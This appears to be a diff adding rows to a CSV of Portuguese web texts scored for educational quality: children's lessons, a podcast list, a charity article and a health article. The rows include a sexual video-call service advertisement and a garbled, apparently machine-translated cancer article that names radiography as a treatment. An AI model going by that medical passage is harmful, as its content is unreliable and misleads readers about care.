+E o que é a comunidade? A comunidade é como um grande jardim, onde cada flor representa uma família diferente. Vizinhos, amigos da escola, pessoas que trabalham perto de casa... Todos fazem parte da nossa comunidade! Assim como as famílias, as comunidades também têm suas próprias histórias, marcadas por festas, costumes e até mesmo desafios que foram superados juntos. Pensem na festa junina que acontece perto da sua casa. Ela é uma tradição da comunidade, um momento de celebrar a história e os costumes do lugar onde vocês vivem. 
+
+Agora, vamos imaginar a sua família. Quem faz parte dela? Seus pais, irmãos, avós, tios, primos? Cada um deles tem uma história para contar, uma experiência diferente que contribui para a história da sua família. Que tal perguntar para seus avós como era a vida quando eles eram crianças? Quais eram as brincadeiras, os costumes, os lugares que eles frequentavam? Vocês vão se surpreender com as histórias incríveis que eles têm para compartilhar! 
+
+A história da sua família e da sua comunidade são como peças de um quebra-cabeça que formam a história do Brasil. Cada região do país tem suas próprias tradições e costumes, que foram moldados pelas famílias e comunidades que ali vivem. Por exemplo, no sul do Brasil, muitas famílias têm origem europeia, e isso se reflete na culinária e nas festas da região. Já no nordeste, a influência africana é muito forte na música, na dança e na religião. 
+
+Entender a história da nossa família e da nossa comunidade nos ajuda a valorizar as nossas raízes, a compreender o presente e a construir um futuro melhor. Afinal, somos todos parte de uma grande história, uma história que está sempre em construção. Que tal começar a escrever a sua história hoje? Converse com seus familiares, explore a sua comunidade e descubra as maravilhas que estão ao seu redor! E lembre-se, cada um de nós é um personagem importante nessa história, com um papel único e especial a desempenhar.",História,Família e comunidade,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional por introduzir o conceito de história de forma acessível para crianças, conectando a história pessoal e familiar à história da comunidade e do país. Utiliza linguagem simples e exemplos relevantes, incentivando a pesquisa e a valorização das raízes culturais. Aborda o tema de maneira coerente, focada e adequada ao ensino fundamental, explorando costumes, tradições e a diversidade cultural brasileira.",5,1.0
+Câmara realiza Sessão Solene em comemoração ao Dia da Reforma Protestante,original,original,original,original,1,0.2
+"Olá, pequenos exploradores! Que tal embarcarmos juntos em uma viagem incrível pelo nosso país? O Brasil é gigante, cheio de cores, sabores e paisagens diferentes. Para facilitar a nossa aventura, os estudiosos dividiram o Brasil em cinco grandes regiões: Norte, Nordeste, Centro-Oeste, Sudeste e Sul.
+
+Imagine que o Brasil é um bolo gigante. Cada fatia desse bolo é uma região! A região Norte é como a fatia verde, cheia de florestas e rios imensos como o Amazonas. Lá vivem muitos animais diferentes e a cultura indígena é muito forte. Já a região Nordeste, é a fatia ensolarada, com praias lindas e um povo muito alegre. É lá que encontramos comidas deliciosas como o acarajé e o baião de dois.
+
+A região Centro-Oeste é a fatia do meio, com grandes fazendas e cidades importantes como Brasília, a capital do nosso país. A região Sudeste é a fatia mais populosa, com cidades grandes como São Paulo e Rio de Janeiro, onde acontecem muitas coisas legais. E, por fim, a região Sul é a fatia mais fria, com campos verdes e cidades charmosas. Lá, as pessoas gostam muito de chimarrão e de comer churrasco.
+
+Cada região tem seus próprios costumes, comidas típicas, danças e festas. Por exemplo, no Norte, a gente encontra o Boi-Bumbá, uma festa super animada. No Nordeste, tem o frevo, uma dança cheia de energia. No Sul, as pessoas gostam de dançar a Chula, uma dança com passos bem marcados. E no Sudeste, o carnaval é uma festa que alegra todo mundo!
+
+É importante lembrar que cada estado dentro dessas regiões tem suas próprias características também. Por exemplo, o estado do Amazonas fica na região Norte e é conhecido pela floresta amazônica. Já o estado da Bahia, no Nordeste, é famoso pelas suas praias e pelo axé, um ritmo musical contagiante. Que tal pesquisar sobre o estado onde você mora? Quais são as comidas típicas? Quais são as danças e festas que acontecem por lá? 
+
+Conhecer as regiões do Brasil é como montar um quebra-cabeça. Cada peça é importante para entendermos a beleza e a diversidade do nosso país. Agora que você já sabe um pouquinho sobre as regiões, que tal continuar explorando e descobrindo ainda mais sobre o Brasil? Qual região te deixou mais curioso? O que você gostaria de aprender sobre ela?",Geografia,Estados e regiões do Brasil,anos iniciais (1º ao 5º ano),"O trecho apresenta informações básicas relevantes sobre as regiões do Brasil, utilizando uma linguagem acessível e lúdica para crianças, o que o torna adequado para os anos iniciais do ensino fundamental. Apresenta conceitos importantes do currículo escolar de forma coerente e introduz costumes, comidas típicas e danças de cada região, estimulando a curiosidade e o aprendizado sobre a diversidade cultural do país. O estilo de escrita é claro e consistente, e o conteúdo é adequado para o nível de escolaridade.",5,1.0
+" Módulo de Introdução à Gestão de Treinamento
+TREINAMENTO GERENCIAL PARA FORTALECER
+Participação no Treinamento para Todos
+Documentos incluidos neste modulo de Treinamento Gerencial
+As Quatro Questões Essenciais, o essencial de GT para o empoderamento
+Treinamento Gerencial, um manual de uma oficina de trabalho para participantes
+Dicas de Gestão, oito dicas para melhorar a gestão
+GT, Notas para o Instrutor para facilitadores no treinamento
+Organizar através do Treinamento, um específico tipo de treinamento
+A Gestão é demasiado importante para ser feita apenas pelos gestores
+A Treinamento Gerencial, tal como é apresentada neste site, tem uma metodologia especial. É algo que vai para além do treinamento tradicional, e é algo que contribui directamente para um aumento na capacidade, força ou empoderamento de grupos, organizações ou comunidades.
+Irá encontrar uma sobreposição entre este módulo e os outros. A intervenção da mobilização comunitária, por exemplo, está estritamente ligada com a intervenção de gestão de treinamento (aplicada às comunidades), daí que a fronteira entre as duas não é fácil de definir.
+Aqui estão alguns dos documentos relativos a este módulo. As Quatro Questões Essenciais, lista as quatro questões que fazem parte integrante da gestão de treinamento. Todas juntas, as questões e a resposta a cada uma delas, formam um argumento lógico, que assenta na raíz do plano do projecto e de toda a concepção relativa à gestão. Treinamento Gerencial, é um manual de oficina de trabalho para participantes que lista novamente as quatro questões, e outros princípios de tomada de decisões em gestão. Ver também Treinamento Gerencial, do capítulo Três de ""Treinamento para Fortalecer,"" que consiste no currículo de treinamento do programa de gestão da comunidade.
+Treinamento Gerencial, Notas para o Instrutor, é dirigido a facilitadores ou instrutores e explica como usar o material e apresenta os princípios de gestão de treinamento, Esboço da Estratégia de Treinamento Gerencial, é um resumo da estratégia do PTC, e mostra como a gestão de treinamento é um dos três principais propulsores da metodologia desenhada para empoderar as comunidades de baixo rendimento. A Exposta Estratégia de Treinamento Gerencial,é uma expansão do esboço, mas desenvolve com mais pormenores cada um dos elementos da estratégia. Organizar através do Treinamento, descreve como o treinamento, neste programa, vai para além da usual suposição de transferência de conhecimentos, e pode ser usado para a reestruturação (reorganização) institucional de um grupo, organização ou comunidade de modo a ser mais eficaz e a ter mais capacidade.
+Este módulo é enriquecidocom o de Gestão Participativa.",original,original,original,original,4,0.8
+"Espaço Exclusivo para Garotas que Fazem Video Chamada no Whatsapp . Aqui você vai Encontrar Lindas Garotas que lhe farão você Sentir Muito Prazer na Chamada de Vídeo do Whatsapp . Todas as Garotas são Verificadas e Aprovadas pelo Putarianowhats.com
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+"Menu
+Crônica
+A Careta, uma revista semanal sobre os acontecimentos da cidade, tinha uma seção que se chamava ""Cartas de um matuto"", em que era apresentada em versos notícias em forma de uma cartas entre um matuto chamado Tiburcio D'Assunção e sua comadre Thereza. Em algumas semanas eles se alternavam na autoria das cartas. Feitas com muito bom humor, essas crônicas se tornam interessantes para se estudar os eventos do início do século XX. Na edição 131 da revista, de 3 de dezembro de 1910, o matuto Tiburcio escreve sobre a Revolta da Chibata:",original,original,original,original,4,0.8
+"trabalhamos com todos os tipos de eventos, salgados bolos e doces, serviços de copeiras e garçons.
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+"O seu podcast quinzenal sobre Nintendo! Conversas muito descontraídas abordando temas como as principais notícias, nostalgia e muito mais desse universo místico e divertido!
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+230 episodes
+Sorted byPublished (Newest)Published (Oldest)
+Nintendo POWdcast #173 – POWdnews: Relatório Fiscal (Q2/2022), Indie World, Prisão, TGA e mais
+23 November 2022
+Neste episódio, Tovar, Kiefer, Michel e Reche batem um papo sobre o relatório fiscal da Nintendo e sobre outras notícias.
+Ajude-nos a continuar fazendo este e outros conteúdos, além de ter acesso a vantagens exclusivas. Conheça nossos planos em https://www.nintendolovers.com/ajuda.
+01:23:00
+Nintendo POWdcast #172 – O Que Estamos Jogando? (No More Heroes 3, Mario Party Superstar e Ace Angler: Fishing Spirits)
+09 November 2022
+Neste episódio, Tovar, Reche e o recém-chegado Michel batem um papo sobre os jogos que têm jogado nos últimos dias. Bora ouvir?
+Ajude-nos a continuar fazendo este e outros conteúdos, além de ter acesso a vantagens exclusivas. Conheça nossos planos em https://www.nintendolovers.com/ajuda...
+01:15:03
+Nintendo POWdcast #171 – Jogos Grátis
+19 October 2022
+Neste episódio, Tovar e Reche falam sobre jogos grátis que estão disponíveis no Nintendo Switch. Bora ouvir e economizar?
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+01:18:53
+Nintendo POWdcast #170 – Sobre a Produção de Conteúdo (textos e podcast)
+05 October 2022
+Neste episódio, Tovar, Reche e Kiefer batem um papo sobre a produção de conteúdo em texto e em podcast. Responderemos perguntas e contaremos curiosidades de como é todo esse processo.
+Ajude-nos a continuar fazendo este e outros conteúdos, além de ter acesso a vantagens exclusivas. Conhe...
+01:21:17
+Nintendo POWdcast #169 – Splatoon 3
+21 September 2022
+Neste episódio, Tovar e Reche falam sobre Splatoon 3 e o que estão achando do jogo.
+Ajude-nos a continuar fazendo este e outros conteúdos, além de ter acesso a vantagens exclusivas. Conheça nossos planos em https://www.nintendolovers.com/ajuda.
+Link do post: https://ninten...
+01:21:08
+PAPOW #005 – Nintendo Direct de 13/09/2022
+16 September 2022
+Neste PAPOW, Tovar e Kiefer trazem um apanhado dos melhores anúncios da Direct que aconteceu em 13/09/2022. Bora ouvir?
+Ajude-nos a continuar fazendo este e outros conteúdos, além de ter acesso a vantagens exclusivas. Conheça nossos planos em https://www.nintendolovers.com/ajuda.
+...
+00:59:38
+Nintendo POWdcast #168 – Jogos INDIEspensáveis – TMNT: Shredder’s Revenge, Axiom Verge e Fishing Paradiso
+07 September 2022
+Neste episódio, Tovar, Kiefer e Reche trazem mais três jogos INDIEspensáveis para você. TMNT: Shredder's Revenge, Axiom Verge e Fishing Paradiso.
+Ajude-nos a continuar fazendo este e outros conteúdos, além de ter acesso a vantagens exclusivas. Conheça nossos planos em https://www.ninten...
+01:20:50
+Nintendo POWdcast #167 – O Ano de 1996
+24 August 2022
+Neste episódio, Tovar, Kiefer e Reche batem um papo sobre o ano de 1996. O que aconteceu? Quais foram os melhores jogos?
+Ajude-nos a continuar fazendo este e outros conteúdos, além de ter acesso a vantagens exclusivas. Conheça nossos planos em https://www.nintendolovers.com/ajuda.
+...
+01:19:47
+Nintendo POWdcast #166 – POWdnews: Relatório Fiscal (Q1/20...",original,original,original,original,2,0.4
+"os cânceres das VADS para via aerodigestivas superiores são tumores malignos que podem se desenvolver entre a cavidade bucal e a hipofaringe, parte inferior da faringe. Classicamente, o câncer das VADS afeta os homens a partir dos 50 anos, geralmente etil-tabagistas. Os fatores principais aumentando o risco de surgimento desses cânceres são de fato uma intoxicação crônica à fumaça do tabaco ou uma intoxicação crônica às bebidas alcoólicas. A associação dessas duas intoxicações multiplica enormemente os riscos: falamos que seus efeitos são sinérgicos. Entre os cânceres das VADS, encontramos principalmente os cânceres da cavidade bucal podendo afetar a prancha bucal, as gengivas, os lábios ou o palato, os cânceres de amigdalas, das cordas vocais ou do sinus piriforma.
+os tumores das VADS são muito difíceis de diagnosticar em estágios avançados localizados, pois poucos sintomas são visíveis no início. Na maioria dos casos, a descoberta de um gânglio aumentado em volume, ou adenopatia, faz suspeitar o diagnóstico no indivíduo etil-tabagista. Outros sinais de evolução crônica são igualmente evocadores:
+Transtornos de deglutição;
+Transtornos de fala ou modificação da voz;
+Problema respiratório alto situado;
+Dor na boca ou faringe;
+Na maior parte do tempo, esses sinais estão ligados a outras patologias não graves, mas é sobretudo o contexto do surgimento em um indivíduo de risco que colocará a suspeita.
+A ausência de sintomas no início da doença provoca um diagnóstico geralmente tardio. Diante dos sinais clínicos com um contexto evocador, a cavidade bucal será explorada para procurar uma lesão ou uma zona dolorida. Os gânglios são igualmente inspecionados. Uma panendoscopia das VADS, ou seja, um exame das vias aerodigestivas superiores com a ajuda de uma câmera inserida dentro dessas vias com anestesia, permite um estudo preciso das cavidades e a realização de amostras, biopsias, em casos de zonas suspeitadas. Se a análise releva um câncer, um exame de extensão, ou seja, um conjunto de exames para procurar metástases, evasões de outros órgãos por células cancerígenas, será realizado.
+o tratamento desses cânceres dependerão do contexto e dos resultados do exame de extensão. Se o câncer das VADS não é propagado aos gânglios linfáticos, o tratamento mais comum será a cirurgia para proceder à retirada do tumor. A radiografia é igualmente frequentemente utilizada, na condição que eventuais problemas dentários tenham sido curados antes. Por fim, a quimioterapia é igualmente possível, geralmente para reduzir o tamanho do tumor antes da sua retirada. Uma vez que o câncer tenha sido tratado, atos de cirurgia reparatória são geralmente necessários. É necessário igualmente, em alguns casos, retirar os gânglios linfáticos.
+a parada do tabaco e do álcool é a melhor maneira de prevenir o câncer das VADS. Um acompanhamento dentário e bucal regular é igualmente previsto, de maneira a descobrir o mais cedo possível uma possível lesão inquietante.
+Imunoterapia é aposta para tratar câncer pulmonar
+Este documento, intitulado 'Câncer do trato aerodigestivo superior (VADS)', está disponível sob a licença Creative Commons. Você pode copiar e/ou modificar o conteúdo desta página com base nas condições estipuladas pela licença. Não se esqueça de creditar o CCM Saúde (saude.ccm.net) ao utilizar este artigo.",original,original,original,original,4,0.8
+"Os hospitais como toda a edificação, devem ser projetados pensando no bem estar dos seus usuários, desse modo os revestimentos devem ser adequados ao uso que lhes será destinado. Ao se especificar os revestimentos de pisos para os ambientes hospitalares deve ser levado em consideração o risco de contaminação a que esse tipo de local […]",original,original,original,original,2,0.4
+"O imóvel que você procura está aqui! 20 anos de experiência
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+"Você já se perguntou por que a água aparece de tantas formas diferentes? Às vezes, gelo durinho, outras vezes, água fresquinha para beber e, em outras, vapor que sai da panela da mamãe! Isso acontece porque a água, assim como outras coisas ao nosso redor, pode se apresentar em diferentes estados físicos: sólido, líquido e gasoso. 
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+Vamos começar pelo estado sólido. Imagine um cubo de gelo. Ele é duro, tem uma forma definida e, se você o colocar em um copo, ele não se espalha como a água. No estado sólido, as partículas que formam a matéria estão bem juntinhas e organizadas, por isso o gelo é durinho! Outros exemplos de sólidos são: a madeira da sua carteira na escola, o metal dos brinquedos e o plástico do seu lápis. 
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+Agora, pense na água que você bebe. Ela é líquida! A água líquida não tem uma forma própria. Se você a colocar em um copo, ela assume a forma do copo. Se derramar no chão, ela se espalha. Isso acontece porque, no estado líquido, as partículas estão um pouco mais soltas do que no estado sólido, permitindo que a água se mova e se adapte aos diferentes recipientes. Além da água, o suco, o leite e o óleo são exemplos de líquidos. 
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+E o vapor que sai da chaleira? Esse é o estado gasoso! No estado gasoso, as partículas estão muito soltas e se movem rapidamente, espalhando-se por todo o lado. O vapor de água não tem forma nem volume definidos e pode se espalhar por todo o ambiente. Outros exemplos de gases são o ar que respiramos e o gás que usamos no fogão para cozinhar. 
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+A água pode mudar de um estado para outro quando a temperatura muda. Se você colocar água no congelador, ela fica gelada e vira gelo (estado sólido). Se você esquentar o gelo, ele derrete e vira água (estado líquido). E se você continuar esquentando a água, ela ferve e vira vapor (estado gasoso)! Incrível, não é mesmo? 
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+Agora, pense um pouco: Será que outros materiais também podem mudar de estado como a água? O que acontece com o chocolate quando o deixamos no sol? E com a manteiga quando a colocamos na geladeira? Observar o mundo ao nosso redor é uma ótima forma de aprender sobre os estados físicos da matéria e como eles estão presentes em nosso dia a dia!
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+E aí, preparados para serem detetives da matéria e descobrir em quais estados ela se apresenta ao seu redor? Divirtam-se explorando!",Ciências,Estados físicos da matéria,anos iniciais (1º ao 5º ano),"O trecho apresenta um alto valor educacional, abordando de forma clara e acessível os estados físicos da matéria. Utiliza exemplos do cotidiano para facilitar a compreensão, incentivando a observação e a experimentação. A linguagem é adequada para o público infantil, e o conteúdo é relevante para o currículo do ensino fundamental. O texto é coerente, focado e valioso para o aprendizado estruturado, culminando em uma reflexão sobre a mudança de estado em outros materiais.",5,1.0
+"Diogo Piçarra, Carolina Deslandes e Agir escreveram e gravaram juntos ""Respirar""- uma música para o projecto de aproximação à floresta- uma iniciativa do Rock in Rio Lisboa-2018 com a Liga da Protecção da Natureza #estátudoconectado.
+A RFM esteve na apresentação e trouxe-te um bocadinho deste ""Respirar"" . Clica no video em baixo
+O Rock in Rio-Lisboa acaba de lançar o projecto ESTÁ TUDO CONECTADO, uma iniciativa em parceria com a Liga para a Protecção da Natureza (LPN). #EstaTudoConectado para mostrar que a Floresta está presente nas acções do quotidiano, e em tudo o que se faz ao longo do dia, seja nas horas de trabalho, seja nos momentos de lazer.
+Agir, Carolina Deslandes e Diogo Piçarra juntam-se pela primeira vez e dão voz ao tema “Respirar”, especialmente composto para este projeto. Podes ver aqui o vídeo da estreia desta música apresentada dia 4 de Junho, no Parque da bela Vista. ""Respirar"" será comercializado em todas as plataformas digitais e as receitas dos primeiros seis meses reverterão, na íntegra, para o projeto da LPN cujo objectivo é preservar a Floresta.
+DIogo, Carolina e Agir com as 3 guitarras clássicas de madeira de árvores queimadas nos incêndios de Braga de 2017
+Em parceria com a APC – Instrumentos Musicais e com a Câmara Municipal de Braga, foram construídas três guitarras clássicas através de madeira de árvores queimadas nos incêndios de Braga de 2017, mais concretamente da aldeia de Esporões. Estas guitarras, assim como outros artigos doados e guitarras autografadas por artistas que atuarão na 8.ª edição do Rock in Rio-Lisboa ( Bruno Mars já confirmou que participará, ficarão disponíveis para leilão na plataforma digital E-Solidar. O valor angariado nestes leilões reverterá, na íntegra, para um projecto de conservação e restauração florestal a desenvolver pela LPN, com o apoio do FSC Portugal.",original,original,original,original,2,0.4